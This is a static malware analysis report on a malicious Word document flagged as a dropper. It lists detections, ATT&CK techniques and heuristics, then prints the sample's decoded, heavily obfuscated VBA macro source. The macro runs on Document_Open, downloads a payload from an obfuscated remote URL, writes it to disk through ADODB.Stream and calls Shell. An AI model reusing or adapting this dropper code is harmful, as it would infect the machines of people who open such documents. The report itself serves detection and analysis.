Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 bae6e14d46cf8fc3…

MALICIOUS

Office (OLE)

154.0 KB Created: 2018-05-16 08:30:00 Authoring application: Microsoft Office Word First seen: 2019-01-11
MD5: a85be2c69c257e28ecebba1de5e8bfae SHA-1: eba601b784e2965ddff27d10645e46eeafbb2b36 SHA-256: bae6e14d46cf8fc3aea0482c8efa9582380999d4a1329f07a024ba5565de4df3
352 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer T1059 Command and Scripting Interpreter T1204.002 Malicious File

The sample is a Microsoft Office document containing heavily obfuscated VBA macros. Critical heuristics indicate that these macros are designed to download and execute a file from the internet using CreateObject and Shell calls. The presence of an auto-executing loader and the ClamAV detection as 'Doc.Dropper.Emodldr' strongly suggest a dropper functionality.

Heuristics 10

  • ClamAV: Doc.Dropper.Emodldr-6755244-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Emodldr-6755244-0
  • VBA macros detected medium 6 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
        Shell (tSSOx), 0
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
            engcpp = XnIXjFL.responseBody
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
        Shell (tSSOx), 0
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Set XnIXjFL = CreateObject(zHPgXBRS("M^ixcfrJoLs oGfut_.PXyMgLFHpTXTAPb"))
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main Referenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 34191 bytes
SHA-256: 94572d1470294bd3f4f283ecc4822c3097dc01addfa740fed5897c01dbb7ebb4
Detection
ClamAV: No threats found
Obfuscation or payload: likely
341 of 559 identifiers look randomly generated (e.g. 'nKqwRUhXwbyEjMieErDLIhiOEjrZKgsYMFvIyp') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub WBwAKb(pPRXXW As String, WnDyPOF As String)
    RaGcY = 1354 + 1019 + 461
    BlrnC = LTrim("zU]VPJ)%SH")
    hUlBbrU = LTrim("NG-jAQTkNmaRFzjZJi")
    ErzkrZVs = Space(19)
    MbsZdQxj = 1101 + 1769 + 1929
    MbsZdQxj = Right("lsr?^UwHcy#.", 5)
    RaGcY = Right("v(S-#vU_Ee)", 5)
    zwycHOQe = LTrim("rY&^[wxKyT]-yX*B")
    BlrnC = Right("l^p]zH(qTZWvk*A", 2)
    MbsZdQxj = "Ky]edt$OzSbj!" + "n-Fh-DHmu)m[t[UO" + "TfxJR[fpMe"
    oAlqzg = StrReverse(" )%%?OQLrqssI ")
    BlrnC = Left("YNnnm(ZSCVK(tkI@", 4)
    zwycHOQe = Space(7)
    oAlqzg = UCase("JSoOIt?c[rtQ(CBtzSf")
    RaGcY = UCase("?L[aSGf!#(gPKrrW")
    zwycHOQe = RTrim("N#@NkCfUsvGY")
    hUlBbrU = StrReverse("!fi_Tp[-O&gJ-M?")
    For pgBWMD = 0 To 115
        zwycHOQe = RTrim("Olvy]imxzpeP&%z&wS(")
        RaGcY = "cUNXmuH^Ip!ojQh" + "yN&EfpKevg" + "atUQTanKEwG"
        BlrnC = Right("RxhAE(F_fUSteHQT", 2)
        mfHiIsu = Right("*POholIHfdF", 4)
        ErzkrZVs = RTrim("n lcv(YLV%zh)*hvh")
        kkaMwM = UCase("ti!i.BXyvURd")
        oAlqzg = Right("xG#^TGU#vVZ", 2)
        BlrnC = LTrim("$UjV oQk^fJDuCbu")
        MbsZdQxj = "G-P&MfP-gF" + "p OO$gliubfcFK[a" + "Dxvf[Pu?Swtsd"
        kkaMwM = Right("DjyTuNgl%qqAahB#f", 5)
    Next pgBWMD

    BlrnC = LTrim("D^rdQAwElZIZvum_*")
    kkaMwM = StrReverse("%*myNy)%MuT")
End Sub

Private Function yuZmHt(mDDPEGA As Boolean) As String
    zwycHOQe = "peTZEmZA$x[pRiNjMz]J" + "*pMG*Xn#sEK.Z" + "p&nErAtVa$?R(&WNK"
    zwycHOQe = Space(6)
    For tGzoXV = 0 To 46
        ErzkrZVs = LTrim("*z)uEtHKT*a)")
        hUlBbrU = Left("DGku _eiXfcnNnxi", 5)
        MbsZdQxj = UCase("-PScGUSjz_B$")
        zwycHOQe = RTrim("s@v)qidwtfsi(wc")
        ErzkrZVs = LTrim("IlUGLDX[b_C$]UPDZzf@")
        oAlqzg = RTrim("-ASYeV.M!G?(Q&Q__")
        ErzkrZVs = 1608 + 1842 + 1320
        MbsZdQxj = UCase("laHAvckW!Iso-HCe_")
        RaGcY = StrReverse("$r($Ivb$B$(JF$ReU")
    Next tGzoXV

    hUlBbrU = Left("rvG.ewd]GElf", 4)
    kkaMwM = 178 + 952 + 953
    RaGcY = StrReverse("zzRNnZSNBU@^")
    mfHiIsu = Space(12)
    hUlBbrU = StrReverse("iqSp?%NUG%Xs&VYuSay")
    RaGcY = Space(6)
    RaGcY = LTrim("!pzXCLlZ]YeEVqn")
    For gmTugC = 0 To 307
        ErzkrZVs = 322 - 886 - 607
        RaGcY = StrReverse("z]vxRS*Bmxw@l*")
        zwycHOQe = "LLascZZih_%dY" + "R!%-kn)CS#[ggM?#d$O" + "yza*APWI_y"
    Next gmTugC

    RaGcY = UCase("&JahZ&&!d.")
    While DomYaZ < 130
        ErzkrZVs = 756 - 1417 - 1740
        ErzkrZVs = Right("e_NTEX!l&%)sYgkHg", 4)
        ErzkrZVs = 1703 + 1806 + 303
        hUlBbrU = StrReverse("j]EeAB.wz)Y).f")
        zwycHOQe = Left("TU*Wk$ljwVYn^Mbi??", 5)
        hUlBbrU = 1151 + 1220 + 1377
        MbsZdQxj = Left("GQ!GbYCOqn", 4)
        oAlqzg = LTrim(".??.leaWwX!o([$sr ?J")
        BlrnC = StrReverse("f[-HT.Qn]L.(aCgm$YF")
        MbsZdQxj = 743 + 985 + 593
        DomYaZ = DomYaZ + 3
    Wend

    For vjriOG = 0 To 77
        zwycHOQe = UCase("CeQ.xiZRJ&]v (_tVoW")
        BlrnC = UCase("vjsh$ OT!Ju&G$wS")
        kkaMwM = Left("xW$Kg^IeNaTVE.?o@i?k", 2)
        hUlBbrU = 1402 + 1684 + 1310
        MbsZdQxj = Right("fGY)BKEiCqlPJSi!@M$", 4)
        ErzkrZVs = "s BbrEfKF(KE[lzCQQt?" + "DrdM#VqqAsuI" + "kUK!YUnkut_JEcwE]G"
        zwycHOQe = Space(15)
        RaGcY = Right("$SO&&IGYb_*C@", 5)
    Next vjriOG

    zwycHOQe = StrReverse("SqCd]jZZiCi")
    ErzkrZVs = UCase("rfK LzN[rK(-hZuMT(")
    ErzkrZVs = StrReverse("PyZ @fq?r)NH")
    ErzkrZVs = 1534 + 1639 + 970
    BlrnC = "]heF)jid&AO" + "mBs]fhd N*" + "stX_Yf)fP-Uh"
    BlrnC = UCase("RQ@qKYGBOBfsSUZ")
    BlrnC = StrReverse("[AdbehpCZlQoSoxJTa")
    ErzkrZVs = Space(7)
    While toetKK < 59
        MbsZdQxj = Right("oSnSFZj*C%(LHWl", 2)
        mfHiIsu = RTrim("mGkJuvQtzLMGWbk]")
        hUlBbrU = UCase("MGvOWHw(s&.")
        BlrnC = 497 - 1236 - 756
        MbsZdQxj = LTrim("Htyz*lhgaGk-!K")
        zwycHOQe = Right("eVyeX#wNzr&", 5)
        toetKK = toetKK + 3
    Wend

    While FCEmFJ < 67
        mfHiIsu = RTrim("e]O?D]BzbmZ")
        hUlBbrU = 1204 + 1417 + 1658
        hUlBbrU = StrReverse("lu-]]U&FDo][!$RG")
        MbsZdQxj = "Z[cuGlcTfsYs" + "jad(OPdaJ]A" + "ii$MFqEKI^NPwRmJ"
        MbsZdQxj = Left(" g?BGK?ARRwZJbYFgm^", 5)
        FCEmFJ = FCEmFJ + 2
    Wend

    zwycHOQe = RTrim("]xEGNmHMXD^$i.TJ!")
    kkaMwM = RTrim("%c^mA)gx&mkh$]VNfP")
    kkaMwM = 1486 - 1630 - 1291
    ErzkrZVs = UCase("[LDy#YGOYSO[")
    RaGcY = LTrim("ILv)#PSR?M")
    MbsZdQxj = Left("Uex)O.NMppphC", 2)
    hUlBbrU = LTrim("fj#wdXmj G^P%(-)G%")
    RaGcY = StrReverse("AeD)UszkhnqmZ")
    BlrnC = 407 - 1951 - 337
    RaGcY = LTrim("lzvOH_ZN(z( iurNZWS$")
    MbsZdQxj = 1849 - 1675 - 1510
    ErzkrZVs = LTrim(" NA-WCtDkV")
    zwycHOQe = Space(10)
    ErzkrZVs = Left("Ic%$SkFH%h-Dkv)ddM", 2)
    yuZmHt = "nKqwRUhXwbyEjMieErDLIhiOEjrZKgsYMFvIyp"
End Function

Private Sub duOGMs(fMIIYWL As Boolean, zpgoeJ As Double, FnSUZuO As Double)
    BlrnC = StrReverse("ubhhIWnkXCJsmGJovx")
    zwycHOQe = Right("(Qujs.Q&Fr", 2)
    RaGcY = "%]jR WvAoLnV**" + "Epz%a$k_nGxK@yf" + "]D!]%$$ w "
    zwycHOQe = RTrim("ltR$OV_V@dWoONqqmRs#")
    While oXBMXA < 204
        ErzkrZVs = StrReverse("sWIGQt$UzBuYgxj")
        ErzkrZVs = 510 - 1867 - 209
        ErzkrZVs = Right("*j!EiK^rrTS", 3)
        BlrnC = 382 - 400 - 714
        kkaMwM = Space(6)
        RaGcY = RTrim("?%@TjWvKJt#qRTN")
        ErzkrZVs = 263 - 624 - 1376
        ErzkrZVs = Left("Q Y-j@KEL Q", 5)
        RaGcY = Right("LUi.!oJM$X-QERfemJR", 4)
        kkaMwM = 419 - 188 - 196
        oXBMXA = oXBMXA + 1
    Wend

    mfHiIsu = UCase("[e*BUTjtkNtsI.")
    hUlBbrU = ".c%aZ^HvQstspTUWUxE." + "(u[A!Dofni!#BXO eb&I" + "(@T.FJ!H-dBphzErQojJ"
    oAlqzg = Space(2)
    mfHiIsu = 1826 - 1898 - 810
    oAlqzg = "*!#V&NVeiknZsf" + "KyfS]aIp_-" + "MxS%NhPHf%S"
    kkaMwM = RTrim("@GYjvFA.yI")
    mfHiIsu = LTrim("T_zjuGU%D ")
    RaGcY = StrReverse("fhg@Dw.ZBUhOJXrMF?")
    zwycHOQe = StrReverse("kGL$IpVfIHHi!cG[]?")
    kkaMwM = "FSd&x tfBd" + "yLdOV#^nMw@Bv Wc " + "dkqV #GSCLvJV"
    mfHiIsu = StrReverse("#Up^wsxmrFt")
    zwycHOQe = "](Fwd%)yAGois#" + "-i(R])cyq*Wg?" + "&NwDgXHf!O.y&[y?#g"
    MbsZdQxj = RTrim("rnA&*%hw uJadh")
    zwycHOQe = 1007 - 744 - 655
    MbsZdQxj = LTrim("SM!!*^SGPTvv!")
    oAlqzg = 1830 - 1807 - 493
    kkaMwM = Left("aZ.lZsGZP*.tS@]f", 2)
    RaGcY = UCase("(qG.L^KSg&z.)gmRV")
    hUlBbrU = 1651 + 857 + 1583
    zwycHOQe = Space(7)
    ErzkrZVs = RTrim("rZ.#u%[Pqj VjPK(yODr")
    oAlqzg = 1674 + 1569 + 471
    kkaMwM = Right("jqHE!KbxgD", 5)
    While tHMpWK < 343
        oAlqzg = 1515 + 923 + 1922
        RaGcY = Right("zZomnMF*qv", 4)
        MbsZdQxj = Space(20)
        tHMpWK = tHMpWK + 1
    Wend

    oAlqzg = 582 + 1988 + 1908
    For hgkXAD = 0 To 198
        MbsZdQxj = UCase("%xY-$*yVj@-xuSx?&i")
        BlrnC = RTrim("CdPtOSseKNsFsLEToAE ")
        hUlBbrU = RTrim("q&AzHoaSacA)LQ_")
        ErzkrZVs = StrReverse("dnLbc fxX?SowQv Uu")
        oAlqzg = 1499 - 1939 - 1741
        BlrnC = RTrim("@uyfpect]%F-L-@MB_")
        RaGcY = StrReverse("DsU)XSKl)wEb(K(tQ(")
        mfHiIsu = "-Y-yLGySn%dYbuF^S?n" + "GwENY(hBThNT" + "nOkVm%aKNSjqlBAWrU"
    Next hgkXAD

    While USRwzK < 20
        zwycHOQe = Left("FExcRbwvsD!", 3)
        oAlqzg = 1079 + 806 + 495
        RaGcY = StrReverse("AOwsZ@I[YPg f")
        BlrnC = LTrim("yPIfhsg-._$IrzfQ")
        oAlqzg = 830 + 1922 + 1303
        USRwzK = USRwzK + 3
    Wend

End Sub

Private Sub fOLIOL(yNvyEZz As Boolean)
    ErzkrZVs = RTrim("@oG&^R*t-GRb)N#f")
    hUlBbrU = StrReverse("mQnJZYsQ$oY")
    ErzkrZVs = Right("xPdr zgenFS", 5)
    zwycHOQe = 376 - 1406 - 1231
    zwycHOQe = Right("uENl#Sw#tDdR!Ck_", 4)
    MbsZdQxj = Space(18)
    ErzkrZVs = Space(20)
    ErzkrZVs = 1026 + 622 + 291
    BlrnC = Right("aX@IWIFtys", 3)
    RaGcY = UCase(" Z%XP&eip$Hy%R")
    BlrnC = Left("N^MuVoFGR$iEL^^l ", 5)
    ErzkrZVs = UCase("dTvvL)jc.$Ub]-")
    ErzkrZVs = LTrim("zD#-(s@%AiiLPnu@")
    oAlqzg = StrReverse("JGmYQ%q$* Hs.W")
    ErzkrZVs = Left("FbuL^GyRN#CtM", 3)
    MbsZdQxj = Left("$AP**Qas^n)XcCVl)j", 5)
    zwycHOQe = Right("EcP@R#D#Q@YXQK", 2)
    hUlBbrU = Space(6)
    MbsZdQxj = RTrim("uSZF?W@eyK[aZtI")
    mfHiIsu = Right("JVsow!.Uud", 5)
    hUlBbrU = "jrHwHrUG)(UAXh" + "znVFbY[JhECnkI-E!" + "UGge^WE bxc"
    mfHiIsu = "oAza?aUcw*K" + "thMU^P Oo-XdCWppZ" + "VdAmY_*u-gU((ge"
End Sub

Private Sub OECWCOrE(tSSOx As String, sZRXuXE As String, zewfBxe As String, IxXmWs As String, LCvKSuM As String)
    RaGcY = 1567 - 1193 - 936
    zwycHOQe = RTrim("Xg&cPHpv#mc%FGQoa")
    RaGcY = Space(15)
    Shell (tSSOx), 0
    ErzkrZVs = Space(15)
    zwycHOQe = RTrim(" Dr.krAnQIFCN-]uhh")
    hUlBbrU = StrReverse("idltflm(TziSfot-eGg]")
    kkaMwM = Space(8)
    ErzkrZVs = RTrim("yi]VNUpYC)NS*I@oD_")
    BlrnC = 165 - 589 - 1840
    For VcqeiU = 0 To 153
        kkaMwM = StrReverse("&Z^sth_.u T&%rfeF")
        RaGcY = Left("IB#vGsx@ZwN.xOBqwRO", 4)
        hUlBbrU = 1074 - 1276 - 118
        MbsZdQxj = LTrim("sQ(KqV!K((")
        MbsZdQxj = Left("b#QCsFrTv_.uu[R)XX", 5)
    Next VcqeiU
    hUlBbrU = Left("lbcTGSquydyVl", 2)
    hUlBbrU = "Swa&#%t)nn*Z)TFaxS" + "IwJ)oB)ER&HQIqCeCp" + "JDDq^r@n&iTMr*IKmh$ "
End Sub

Private Sub Document_Open()
    Dim DPkOiShO As String
    oAlqzg = StrReverse("!VnAgWRGeDf[z?YD")
    MbsZdQxj = 1703 - 450 - 1277
    BlrnC = RTrim("!CWgii$fwdj![T")
    mfHiIsu = 1935 + 123 + 144
    While rDfDcI < 362
        kkaMwM = LTrim("]@DP[DaTGu!")
        zwycHOQe = RTrim("#Q?%MuO.xfgcqzOzA!A")
        zwycHOQe = UCase("EWFGb!NWlkz_j")
        rDfDcI = rDfDcI + 1
    Wend

    MbsZdQxj = RTrim("!WzoPxWi!_HUF)YvGIO%")
    Dim TjnyDWOG As String
    zwycHOQe = RTrim("OP)U@ITEMc@L")
    zwycHOQe = StrReverse("MWrrwW[CR&y_Al%MvD^")
    MbsZdQxj = 1033 + 1300 + 1946
    hUlBbrU = UCase("PAKvgC&K-)C)^")
    oAlqzg = 265 + 123 + 734
    hUlBbrU = 1716 + 225 + 416
    DPkOiShO = StrReverse("zepxEe@.IMcFWjMJyJkOh\C\U%ipYmneStW%b fLtLgDynBuMRe_^cMemx$Eolxlue[h*S ,UlDl dg.N2c3#lGlQeLhcsX xevxmer.Y2I3SlDl$dfn(uvri Uca/Z geYx_eY.)dGmPc")
    zwycHOQe = Left("g%QXn-OW-lv", 2)
    For FkzsCy = 0 To 141
        kkaMwM = RTrim("a_)bIFySabshOs&ooTYG")
        mfHiIsu = Right("!rV$?#R#$adk_.u", 5)
        zwycHOQe = StrReverse("jnGaj&xWR#%Tf%zZFAu")
        BlrnC = RTrim("hi?&*-Vifo[ci ")
        kkaMwM = Space(17)
    Next FkzsCy

    mfHiIsu = RTrim("OmT*!!oxO]d jnb")
    kkaMwM = Left("AUSn&E^lo_Aw(yusk_zM", 5)
    RaGcY = RTrim(") P !SHiwfiB(LUFDiM")
    MbsZdQxj = Space(8)
    TjnyDWOG = StrReverse(")e^xre&.%rJe_ppl^eQhU\U\.%UpTmPevtd%V eLtLqDFn$unRi_^cQeVx)Epl-lHe)hcSE,Slelgdg.!2%3QlilYeVhFsa &eDxVeZ.b2.3RlAlkdZnWuerg AcS/q $eJxNe%.PdJm?c")
    For BJTfrS = 0 To 319
        MbsZdQxj = Right("#ueF#ojgL#@^X?eJV* ", 3)
        RaGcY = "VktIScotjQRpId!j" + "B[iNp.cc@zTKic" + "X^tsFDhohho"
        BlrnC = 487 - 1644 - 1291
        RaGcY = 524 + 693 + 1791
    Next BJTfrS

    RaGcY = RTrim("zX[&Hfw-nr&-X$Ynikq")
    hUlBbrU = UCase("!ed QhwfJ^Gs&fS?")
    BlrnC = UCase("qMxaHZSOwXt(.KeyrMwN")
    While LPucRF < 148
        kkaMwM = "&FvJpq(YJPBfp" + " NYtfixkPtP S" + "Qd^I@G*k[zF"
        kkaMwM = Right("-G#%b&RWQeP", 3)
        zwycHOQe = Left("FYTMmF!DCbKPcuNcPXO", 2)
        zwycHOQe = 440 - 361 - 332
        oAlqzg = 307 - 545 - 1183
        MbsZdQxj = LTrim("ktA?v)Y!JT")
        mfHiIsu = "ZAKAdOZ_U(g" + "YX_t%gMJ@kCrVK" + "Jz-jTl%)@eucNl$"
        LPucRF = LPucRF + 1
    Wend

    zwycHOQe = "]RfHa^p!c?Vfzu%v" + "#es(P(CIEFAPwBD" + "MSn&Ulp EytlY"
    ErzkrZVs = StrReverse("Qe !oXNkns[bx")
    ErzkrZVs = 1500 - 736 - 678
    While xViTLV < 51
        RaGcY = LTrim("wfl.)YhHdT!o[b*dge.H")
        kkaMwM = LTrim("QFSJnivfcqftHTUccFv")
        BlrnC = StrReverse("wuuNm[_op%H")
        RaGcY = StrReverse("@yD$ P]HQNQCY@?U")
        BlrnC = Space(7)
        kkaMwM = "d]GQ(l#ptXuFNa^f" + "O&a?^xQgNXM#hTeSz" + "iz[b*Y)$gzs"
        ErzkrZVs = UCase("TCPHBcV#NlTPn")
        ErzkrZVs = StrReverse("BJoR]oMWeEILW]tT]")
        RaGcY = Left("G]mHx(FYfC&pAU.@n", 5)
        BlrnC = 1966 + 602 + 284
        xViTLV = xViTLV + 1
    Wend

    BlrnC = LTrim("I@VYxy#U#-LlnqN$")
    Dim XnIXjFL, SYqXB As Object
    mfHiIsu = Right("#]N.&rP)n*", 5)
    For qlBgLd = 0 To 72
        mfHiIsu = "?(soZkZqXx" + "^tV!.yTgvmz$*zVQsb" + "&&tj$JJR(%)H*XO"
        hUlBbrU = UCase("o$P^%GCFlZm x")
        BlrnC = Space(17)
        MbsZdQxj = 155 - 709 - 1906
    Next qlBgLd

    While eTxIwu < 319
        BlrnC = StrReverse("jjfNv#wlrQgC!lK ")
        zwycHOQe = Left("WL@VAcrAyU^Lbnzu", 5)
        BlrnC = 1161 - 447 - 1251
        BlrnC = UCase("YAl#*_J%yr$e")
        hUlBbrU = 1420 - 1093 - 376
        zwycHOQe = Left("tpgDUl!lp(zU", 2)
        hUlBbrU = Space(5)
        RaGcY = Right("zx*@kiU@J[U@e)&^Q&e", 3)
        eTxIwu = eTxIwu + 2
    Wend

    oAlqzg = LTrim("[-MzW?BHxz-H!")
    kkaMwM = StrReverse("RK.cS@u@aD")
    Set XnIXjFL = CreateObject(zHPgXBRS("M^ixcfrJoLs oGfut_.PXyMgLFHpTXTAPb"))
    While WVNJiD < 25
        kkaMwM = "$xrskREu(kzL%&%" + "[J^xqPKejbawCpyDl" + "HW*BW P@asFv"
        zwycHOQe = LTrim("_)WC.VyLMvcuoBjUPd")
        oAlqzg = 895 + 1842 + 1857
        BlrnC = 586 - 1200 - 1217
        BlrnC = 501 + 1907 + 832
        kkaMwM = Left("BYPz@kJVZdu(nDx D", 3)
        ErzkrZVs = StrReverse("iaXtfx(jg%-qCTJ!")
        RaGcY = "kOwPLFHu&ce" + "J-bmV.doqTmXj" + "]dq)RxOqta("
        oAlqzg = 1395 - 980 - 1313
        WVNJiD = WVNJiD + 3
    Wend

    For FVomKp = 0 To 137
        mfHiIsu = Right("w(_mNdo@sv*NWI", 5)
        ErzkrZVs = StrReverse("#F@Is_zKrDKAU#)yxt_")
        kkaMwM = StrReverse("EVyd!#sOOpa*T")
    Next FVomKp

    ErzkrZVs = LTrim("H#y_KYZF#YPSbM.")
    kkaMwM = StrReverse("R(bcZELOfa@gEkCoBdmL")
    KjnZAhE = zHPgXBRS("hKtetopDsT:^/t/ta*giepnE8Q2y8Bbgewt#.EcVoTmD/Au$tMpJuAtv3?7wDH3-FW4N0#.SeMx?eI")
    oAlqzg = 250 + 462 + 1889
    MbsZdQxj = StrReverse("&dvFRkH&cS")
    mfHiIsu = RTrim("xQZ[[E-w$Zi_puDbKOw")
    BlrnC = StrReverse("A@RrXMXzMN")
    XnIXjFL.Open "GET", KjnZAhE, False
    kkaMwM = 507 + 1850 + 942
    While pjjpOw < 231
        zwycHOQe = StrReverse("FRSqlQ#ihzKzaxS!-T")
        ErzkrZVs = RTrim("%B@jvbeBDb")
        pjjpOw = pjjpOw + 3
    Wend

    zwycHOQe = "^X #SWHA_)HA%" + "NPeH[PKPNI_PsV-" + "^IBapP#JM^xD"
    MbsZdQxj = Space(19)
    BlrnC = Left("csJ)IU$CDNBeZNL)Y]dm", 3)
    XnIXjFL.send
    For iiSdFM = 0 To 157
        MbsZdQxj = Left("yWQ(wu]TE_WSJh]v", 3)
        MbsZdQxj = UCase("ZG amDIbtxKKLemZTTO^")
    Next iiSdFM

    kkaMwM = UCase("lL!k_u^zY@PjF-$")
    zwycHOQe = "@RLbRiWk*]qfZq_-Z[z" + "#@V?x%pvD?GQpM" + "#KnXhvI_HQ#"
    For Wfflur = 0 To 160
        kkaMwM = 1944 - 1630 - 222
        kkaMwM = Right("!qof-?pCTPgjw", 4)
        oAlqzg = RTrim("hTG?KmAJE_hN#!#N.Ja")
        oAlqzg = 419 + 1927 + 1995
        ErzkrZVs = Space(5)
        zwycHOQe = RTrim("bzowzmXnS^N")
        kkaMwM = 1943 + 1070 + 528
        MbsZdQxj = "L)KriYE((LmhRpsrM" + "krNQwmj ^$]m(" + "[kA@(oyLQ[tqCm@Asa"
        RaGcY = 1198 + 1321 + 1742
        MbsZdQxj = 214 + 314 + 1053
    Next Wfflur

    mfHiIsu = StrReverse("sU@aGb#[IS_U)e&?O")
    If XnIXjFL.Status = 201 - 1 Then
    oAlqzg = Right("J#BA*#hGqBcVyW^", 2)
    For fLTJsB = 0 To 309
        mfHiIsu = Right("R_bbKTAgp)Vw^nOJlc^Q", 4)
        BlrnC = 1251 + 953 + 1855
        BlrnC = Left("&Qan%d)aGSfuxH", 3)
        hUlBbrU = "MWHmxfD_rkN?wn" + "JQm.]m$.cy@IKn(!gu" + "mPzhTceng-AeW"
        MbsZdQxj = 815 - 708 - 860
        MbsZdQxj = 909 - 522 - 1731
        hUlBbrU = Space(17)
        zwycHOQe = StrReverse("NSPu#hK vgSifWO^[k")
        BlrnC = Space(2)
        zwycHOQe = "JbgG e(mHIJP$*$G" + "MqM-UphHtfQuR^.ct_" + "d bo*px(Tqag"
    Next fLTJsB

    zwycHOQe = Space(11)
    BlrnC = RTrim("!e_SG-tUfasoA")
    While JxBzWK < 34
        mfHiIsu = LTrim("jafq!EIEL-HNA")
        hUlBbrU = 1589 + 1754 + 155
        kkaMwM = LTrim("KYMs%nS.AmDw?wk")
        MbsZdQxj = 545 - 236 - 1969
        JxBzWK = JxBzWK + 3
    Wend

        Set SYqXB = CreateObject(zHPgXBRS("AjDEOuDmBj.PSItzrue]aomO"))
    zwycHOQe = 503 - 356 - 1437
    oAlqzg = LTrim("hbPC@QvMwXU?#")
    zwycHOQe = RTrim(" p_V@AG$u(!OunjZ")
    MbsZdQxj = Right("ZCxXyqe!FmV#EpFR-P", 5)
    hUlBbrU = Right("_q$#S.b&Su%V&vs XgiD", 2)
        SYqXB.Open
    While hPuFZC < 14
        mfHiIsu = Space(16)
        hUlBbrU = Space(9)
        ErzkrZVs = 644 - 1084 - 1531
        oAlqzg = Right("@-MtttmoY@i#Yo$^t", 3)
        oAlqzg = Left("opqQu$Lmej%qfCNUMn", 3)
        MbsZdQxj = 1579 - 250 - 662
        oAlqzg = 254 + 642 + 263
        ErzkrZVs = 883 + 1135 + 1663
        mfHiIsu = "Jt&U(EIbvpQ_ERW" + "?ACPwn_Ironsr" + "ndqm^ype.E[WJTUA$"
        zwycHOQe = LTrim("cltBENN&@g]WLmXLVH.")
        hPuFZC = hPuFZC + 3
    Wend

    kkaMwM = RTrim("#yh*[SgX.&fiGUuh")
    For bIMHTp = 0 To 343
        hUlBbrU = RTrim("@hpvh&-.o)br@H")
        ErzkrZVs = 1234 - 1541 - 1097
    Next bIMHTp

    kkaMwM = LTrim("etjdQaT$]]KB%pVpnuHD")
    kkaMwM = Right("F(GhX([GmI", 3)
        SYqXB.Type = 1
    hUlBbrU = StrReverse("Y)tG%RazE@noWTUj)Rb")
    ErzkrZVs = 1195 - 1509 - 1564
    BlrnC = LTrim("ITf_[_l^bAoWdTWEn")
    RaGcY = Space(4)
        engcpp = XnIXjFL.responseBody
    hUlBbrU = "BaYF%tSELYdOdF_$c" + "d_Fq&rIAdZ%rdTRu*" + "NFLuaLZT$y(_SkKLBH*"
    zwycHOQe = Left("aFpk(*Mw!#px", 3)
    mfHiIsu = 1530 - 1689 - 1452
    ErzkrZVs = StrReverse("uaXJnahCku ")
    While MzlToT < 103
        MbsZdQxj = 644 - 644 - 998
        BlrnC = StrReverse("ev?$Rj)e#xg#Q_T&p")
        RaGcY = LTrim("er* Lek-gv")
        ErzkrZVs = LTrim("eBGVzFwgFsiLTr")
        BlrnC = StrReverse("nC.)(z]Y.CEcuxGA#z")
        MzlToT = MzlToT + 2
    Wend

        SYqXB.Write engcpp
    mfHiIsu = LTrim("hL]oQWNeq$M]?aTi%N")
    RaGcY = UCase("OTvL@_v-mO^?D%aiu")
    For kcZUOZ = 0 To 236
        zwycHOQe = Space(15)
        RaGcY = 289 + 811 + 1295
        mfHiIsu = 285 - 1526 - 1577
        MbsZdQxj = LTrim("ALr(b&.vJZ#")
        BlrnC = RTrim("nF.-_F?DrmfN?KMhur")
        zwycHOQe = Space(12)
        mfHiIsu = StrReverse("pDb$nKL)w*Rq")
    Next kcZUOZ

    zwycHOQe = LTrim("k[zpxx.jMAoQZzaSS")
        Dim kbUjeB As Object
    zwycHOQe = 1534 + 734 + 1592
    ErzkrZVs = 1668 + 1138 + 560
    hUlBbrU = "_ .nJu]L#GAAq[FtbzLX" + "tTV ds#SR%E)$B" + "!r#xK!blCpdw"
    For GXzbij = 0 To 260
        BlrnC = UCase("NRfQ*GzQc#]I%@")
        MbsZdQxj = "-c[*)K*WhEzWaoDwaf" + "gVW]$%s#!s" + "H(vii_VuAvTU"
        oAlqzg = Space(4)
        BlrnC = Space(20)
        ErzkrZVs = 800 - 1635 - 270
        zwycHOQe = 626 - 1614 - 1549
        kkaMwM = Left("sAxYwupcfi", 3)
    Next GXzbij

    While dnxZYd < 150
        mfHiIsu = "rK !zTt*PYrvtnz!Jey" + ".gDSp?^wGFeCPG" + "cg^IyOcIO#Y"
        zwycHOQe = Left("xH#*vJS$pbYddwvXsQc", 4)
        dnxZYd = dnxZYd + 3
    Wend

